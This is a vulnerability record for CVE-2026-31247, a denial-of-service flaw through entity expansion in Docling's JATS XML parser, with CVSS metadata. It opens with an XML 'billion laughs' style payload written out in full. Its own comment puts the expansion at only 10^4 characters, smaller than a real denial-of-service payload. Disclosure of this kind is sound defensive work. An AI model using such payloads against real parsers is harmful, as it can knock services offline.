CVE-2026-31247

<?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a "1234567890"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <data>&d;</data> <!-- Explanation: This XML PoC defines nested entities. When parsed, the entity 'd' expands to 10^4 characters, consuming excessive memory and CPU, leading to a Denial of Service (DoS). -->

{"cve": {"id": "CVE-2026-31247", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:29.743", "lastModified": "2026-05-13T15:47:35.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docling's JATS XML backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend uses etree.parse() to parse XML files without disabling entity resolution. An attacker can craft a malicious XML file containing a nested entity expansion payload (XML Bomb). When processed by Docling, the exponential expansion of entities leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/docling-project/docling", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31247-35d1e1393188818fa654c116c6a470bb", "source": "[email protected]"}]}}